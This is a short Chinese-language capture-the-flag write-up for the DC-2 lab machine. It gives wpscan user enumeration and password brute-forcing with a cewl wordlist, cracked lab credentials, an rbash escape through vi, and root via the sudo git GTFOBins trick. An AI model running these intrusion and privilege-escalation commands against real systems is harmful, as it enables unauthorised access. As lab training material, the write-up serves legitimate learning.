

添加 host


主页面
找到 flag1,提示使用 cewl 密码生成工具

wp 登陆界面

使用 wpscan 扫描用户
wpscan --url http://dc-2/ --enumerate u
扫描出用户 tom、jerry、admin

将三个用户名写入文件中以供密码爆破

根据网页信息生成密码字典
cewl http://dc-2/ -w mima.txt

爆破
wpscan --url http://dc-2/ --passwords mima.txt --usernames username
成功爆破出 tom 和 jerry 的密码
jerry,adipiscing
tom,parturient

网页登录

flag2


提示可以使用其他方法
使用之前爆破出的账密
尝试 jerry

登陆失败
尝试 tom

成功登录
找到第三个 flag,但查看时显示被 rbash 限制

rbash(Restricted Bash)是一种受限制的交互式 shell,它是 Bash shell 的一个变种。rbash 提供了一种限制用户的能力,以便他们只能在受限的环境中执行特定的操作
查看可以使用的命令
compgen -c

发现可以使用 vi 命令

尝试使用 vi 命令查看 flag3

提示 tom 使用 su
su

还是被限制
# vi进入末行之后
:set shell=/bin/bash
:shell
# 切换完成之后还要添加环境变量。给$PATH变量增加两个路径,用来查找命令
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

切换 jerry 用户
成功切换

jerry 家目录下拿到第四个 flag

提示 git
sudo -l 查看权限

[git 提权](git | GTFOBins)
sudo git -p help config
!/bin/sh

成功 root
final-flag
